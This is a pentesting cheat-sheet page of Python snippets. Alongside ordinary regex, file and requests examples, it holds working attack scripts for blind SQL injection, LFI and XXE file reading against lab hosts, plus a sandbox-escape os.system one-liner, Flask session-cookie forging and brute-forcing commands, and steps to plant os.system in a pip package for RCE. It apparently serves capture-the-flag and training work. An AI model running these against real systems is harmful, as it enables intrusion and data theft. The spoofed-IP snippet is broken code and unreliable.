> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/languages/python.md).

# Python

## 00. Common

* Externally Managed Fix

```
mkdir -p ~/.config/pip && printf "[global]\nbreak-system-packages = true\n" > ~/.config/pip/pip.conf
```

* Virtual Environments

```bash
sudo pip install virtualenv

virtualenv -p python2 venv
virtualenv -p python venv
source venv/bin/activate
deactivate

python -m venv env
source env/bin/activate
```

* Sandbox escape

```bash
## ------------------| input function
__import__('os').system('ping -c 2 <IP>')
```

* Regular expressions

<pre class="language-bash"><code class="lang-bash">## ------------------| Basic serach
>>> import re
>>> s = 'Part 1. Part 2. Part 3 then more text'
>>> re.search(r'Part 1\.(.*?)Part 3', s).group(1)
<strong>' Part 2. '
</strong>>>> re.search(r'Part 1(.*?)Part 3', s).group(1)
'. Part 2. '

## ------------------| Search word in respond 
respond = (requests.get('http://IP/index.php').text).strip()
fetch = re.search("\[(.*?)\]",respond).group(1)
                    ^ &#x3C;->  ^            ^
## fetch string start with '[' and end with ']' and show first block only

## ------------------| Search multiple lines in respond 
regex = re.compile(r"&#x3C;h3>(.*)&#x3C;/h3>", re.DOTALL)
respond = requests.get('http://IP/index.php')
match = re.search(regex, respond.text)
print (match.group(1))
</code></pre>

* Slicing

```bash
## ------------------| Cutting 
string = 'I am Harith Dilshan'
######### 0123456789......
print(string[5:11]) 

## ------------------| 
string = 'hello I am Harith Dilshan here'
start = "I am"
end = "here"
print(string [string .index(start):string .index(end)])
```

* Get user inputs

```python
while True:
   cmd = input("shell>> ")
   try:
      output = FUNCTION_NAME(cmd)
      print (output)
   except:
      print ("[+] ERROR !!!")
```

* Read file line by line

```python
## ------------------| Normal (Python 3)
filename = "/etc/passwd"
with open(filename, 'r', encoding='UTF-8') as file:
    while (line := file.readline().rstrip()):
        print(line)
        
## ------------------| Normal (Python 2)
filename = "/etc/passwd"
with open(filename) as file:
    for line in file:
        print(line.rstrip())
        
## ------------------| Encode base64 (Python 3)
import url64
filename = "/etc/passwd"
with open(filename, 'r', encoding='UTF-8') as file:
    while (line := file.readline().rstrip()):
        encoded = url64.encode(line)
        print(encoded)
```

* Requests libs

```bash
import requests

## ------------------| Disable SSL Warnings
export PYTHONWARNINGS="ignore:Unverified HTTPS request"
#### or
###### For python2
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
###### For python3
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
###### and this
r = requests.get(......, verify=False)

## ------------------| Set proxy
export HTTP_PROXY='http://127.0.0.1:8080'
export HTTPS_PROXY='http://127.0.0.1:8080'
export FTP_PROXY='http://127.0.0.1:8080'
#### or 
proxies = { 'http': 'http://127.0.0.1:8080' }
proxies = { 'http': 'http://127.0.0.1:8080' , 'http': 'https://127.0.0.1:8080'}
r = requests.get(......, proxies=proxies)

## ------------------| Dump headers
.....r.status_code).text
.....r.headers).text
.....r.cookies).text
.....r.text)
```

* Send HTTP requests with a randomly changing source IP address

```python
import socket
import requests
import random

def send_request_with_random_ip(url):
    # Generate a random IP address in the format 'xxx.xxx.xxx.xxx'
    random_ip = ".".join(str(random.randint(0, 255)) for i in range(4))
    print("Using source IP:", random_ip)

    # Create a custom socket
    custom_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    custom_socket.bind((random_ip, 0))

    # Use the custom socket as the source for the request
    response = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'}, timeout=10, sock=custom_socket)
    return response.text

url = "https://www.example.com"
response_text = send_request_with_random_ip(url)
print(response_text)
```

* Common

```bash
## ------------------| One Line system command
cmd = '__import__("os").system("ping -c 1 10.10.14.4")'
```

* Loops

```python
## ------------------| Basic for loops
#1,2,3,4
for i in range (4):
    print (i)

#0000,0001,...9999
for i in range(9999):
    print(str(i).zfill(4))
```

* File operators

```
with open('output.txt', 'w') as file:
    file.write('This is a sample text.')
```

<table><thead><tr><th width="186">syntax</th><th>sample</th></tr></thead><tbody><tr><td>open(file.txt, 'r')</td><td>To open a file for reading</td></tr><tr><td>open(file.txt, 'w')</td><td>To open a file for writing</td></tr><tr><td>open(file.txt, 'a')</td><td>To append to a file</td></tr><tr><td>open(file.txt, 'x')</td><td>To create a new file and raise an error if it already exists</td></tr></tbody></table>

## 01. Flask

```bash
## ------------------| Configuration Options
## JWT_DEFAULT_REALM            The default realm. Defaults to Login Required
## JWT_AUTH_URL_RULE	        The authentication endpoint URL. Defaults to /auth.
## JWT_AUTH_ENDPOINT	        The authentication endpoint name. Defaults to jwt.
## JWT_AUTH_USERNAME_KEY	The username key in the authentication request payload. Defaults to username.
## JWT_AUTH_PASSWORD_KEY	The password key in the authentication request payload. Defaults to password.
## JWT_ALGORITHM	        The token algorithm. Defaults to HS256
## JWT_LEEWAY	                The amount of leeway given when decoding access tokens specified as an integer of seconds or a datetime.timedelta instance. Defaults to timedelta(seconds=10).
## JWT_VERIFY	                Flag indicating if all tokens should be verified. Defaults to True. It is not recommended to change this value.
## JWT_AUTH_HEADER_PREFIX	The Authorization header value prefix. Defaults to JWT as to not conflict with OAuth2 Bearer tokens. This is not a case sensitive value.
## JWT_VERIFY_EXPIRATION	Flag indicating if all tokens should verify their expiration time. Defaults to True. It is not recommended to change this value.
## JWT_LEEWAY	                A token expiration leeway value. Defaults to 0.
## JWT_EXPIRATION_DELTA	        A datetime.timedelta value indicating how long tokens are valid for. This value is added to the iat (issued at) claim. Defaults to timedelta(seconds=300)
## JWT_NOT_BEFORE_DELTA	        A datetime.timedelta value indicating a relative time from the iat (issued at) claim that the token can begin to be used. This value is added to the iat (issued at) claim. Defaults to timedelta(seconds=0)
## JWT_VERIFY_CLAIMS	        A list of claims to verify when decoding tokens. Defaults to ['signature', 'exp', 'nbf', 'iat'].
## JWT_REQUIRED_CLAIMS	        A list of claims that are required in a token to be considered valid. Defaults to ['exp', 'iat', 'nbf']
### source : https://pythonhosted.org/Flask-JWT/
```

```bash
## ------------------| Install Tool
pip3 install flask-unsign

## ------------------| Decode Token
flask-unsign --decode --cookie 'eyJjYX***'

## ------------------| Signing Token
flask-unsign --sign --cookie "{'admin': True}" --secret 'S3cr3t123'
flask-unsign --sign --cookie "{'admin': True}" --secret 'S3cr3t123' --legacy 

## ------------------| Token Brute-force
flask-unsign --unsign --cookie < cookie.txt

## ------------------| With SQLMap
sqlmap http://<URL>/index --eval "from flask_unsign import session as s; session = s.sign({'id': session}, secret='S3cr3t123')" --cookie="session=*" --dump      
```

* Web Proxy using Flask

```python
import requests
from flask import Flask, Response

app = Flask(__name__)

@app.route('/<path:file>')
def get_file(file):

    req_data = {"action": "str2hex", "file_url": f"file:///{file}"}
    resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=req_data)
    return Response(bytes.fromhex(resp.json()['data']), content_type="application/octet-stream")

if __name__ == "__main__":
    app.run(debug=True)
```

## 02. Blind SQL injection

```python
#!/usr/bin/python3

import string
import requests

url = "http://10.10.10.73/login.php"    # Change this!
regex = "Wrong identification"          # Change this!

def GetSQL(index,char):
    return f"admin ' and substr(password,{index},1) = '{char}'-- -"

for i in range(1,32):
    for c in (string.printable): # Change this if you want!
        inject = GetSQL(i,c)
        payload = {'username':inject,'password':'h4rithd'} # Change this!
        respond = requests.post(url, data=payload)
        if regex in respond.text:
            print(c, end='', flush=True)
            break

print ()
```

## 03. LFI with python

```python
#!/usr/bin/python3

import re
import sys
import requests

url = 'http://10.10.10.228/includes/bookController.php'

def lfi(page):
    data = {'book' : page, # Replace with post request data
            'method' : 1}
    respond = requests.post(url,data=data)
    try:
        #return respond.text
        return bytes(respond.text, 'utf-8').decode('unicode_escape').replace('\/','/') #.strip('"') # Escape \r \n.
    except:
        return resond.status

if __name__ == "__main__":
    page = lfi(sys.argv[1])
    print (page)
```

## 04. XXE with python

```python
import base64
import requests

url = "http://<IP/page.php"
regex = re.compile(r"Begin(.*)End", re.DOTALL)

def xxe(path):
    data = f'''<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={path}"> ]>
    <root>
    <name>&xxe;</name>
    <tel>555555555</tel>
    <email>test@h4rithd.com</email>
    <password>123</password>
    </root>'''
    respond = requests.post(url, data=data)
    match = re.search(regex, respond.text)
    print(base64.b64decode(match.group(1)).decode('UTF-8'))

while True:
   cmd = input("path>> ")
   try:
      output = xxe(cmd)
      print (output)
   except:
      print ("[+] ERROR !!!")
```

## 05. SSL/HTTPS Server

* Click [here ](https://raw.githubusercontent.com/h4rithd/SPython3/master/spython3.py)for get advance code.

```python
import os
import ssl
import OpenSSL
import argparse
from OpenSSL import crypto, SSL
from http.server import HTTPServer, SimpleHTTPRequestHandler

cert_path = "/tmp/selfsigned.crt"
key_path = "/tmp/selfsigned.key"

def createCerts():
    print("[!] Certificate or key file not found. Generating new ones...")
    context = SSL.Context(SSL.TLSv1_2_METHOD)
    pkey = crypto.PKey()
    pkey.generate_key(crypto.TYPE_RSA, 2048)
    cert = crypto.X509()
    cert.get_subject().CN = "h4rithd.com"
    cert.set_serial_number(1000)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(31536000)
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(pkey)
    cert.sign(pkey, "sha256")
    with open(cert_path, "wb") as f:
        f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
    with open(key_path, "wb") as f:
        f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey))
    os.chmod(cert_path, 0o600)
    os.chmod(key_path, 0o600)

if not os.path.exists(cert_path) and not os.path.exists(key_path):
    createCerts()

parser = argparse.ArgumentParser()
parser.add_argument("-p", "--port", type=int, default=443, help="Port to listen on (default: 443)")
parser.add_argument("-i", "--ip", type=str, default='0.0.0.0', help="IP address to listen on (default: 0.0.0.0)")
args = parser.parse_args()

httpd = HTTPServer((args.ip, args.port), SimpleHTTPRequestHandler)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=cert_path, keyfile=key_path)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

print("-" * 50)
print(f"\033[92m[+] Server started on https://{args.ip}:{args.port}\033[0m")
print("-" * 50)
httpd.serve_forever()
```

## 06. Package Manager RCE

<pre class="language-bash"><code class="lang-bash"><strong>pip3 install setuptools build
</strong>git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi
cd this_is_fine_wuzzi
## add import os;
## edit RunCommand()
## add os.system("");
python3 -m build
</code></pre>
